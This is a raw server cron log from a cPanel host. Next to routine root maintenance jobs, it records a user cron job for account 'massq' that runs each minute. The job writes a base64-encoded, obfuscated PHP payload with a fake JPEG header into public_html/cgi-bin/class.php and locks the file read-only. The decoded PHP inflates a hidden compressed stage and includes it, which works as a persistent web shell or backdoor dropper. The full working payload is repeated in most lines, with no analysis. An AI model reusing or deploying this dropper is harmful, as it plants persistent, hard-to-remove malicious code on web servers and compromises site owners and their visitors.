Nov 11 22:13:01 server CROND[4441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:14:01 server CROND[5188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:15:02 server CROND[6061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:15:02 server CROND[6063]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:15:02 server CROND[6065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:15:02 server CROND[6064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:16:01 server CROND[7008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:17:01 server CROND[7819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:18:01 server CROND[8421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:19:01 server CROND[9397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:20:01 server CROND[10213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:20:01 server CROND[10215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:20:01 server CROND[10217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 22:20:01 server CROND[10218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:20:01 server CROND[10220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:21:01 server CROND[11202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:22:01 server CROND[12110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:23:01 server CROND[12935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:24:01 server CROND[13736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:25:01 server CROND[14551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:25:01 server CROND[14552]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:25:01 server CROND[14554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:25:01 server CROND[14553]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
